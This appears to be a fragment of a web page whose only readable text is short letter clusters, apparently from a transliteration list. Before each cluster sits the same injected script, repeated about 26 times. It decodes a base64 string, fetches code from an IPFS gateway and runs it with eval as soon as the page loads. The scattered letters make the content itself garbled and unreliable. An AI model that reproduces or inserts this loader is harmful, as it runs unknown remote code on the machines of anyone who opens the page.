<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah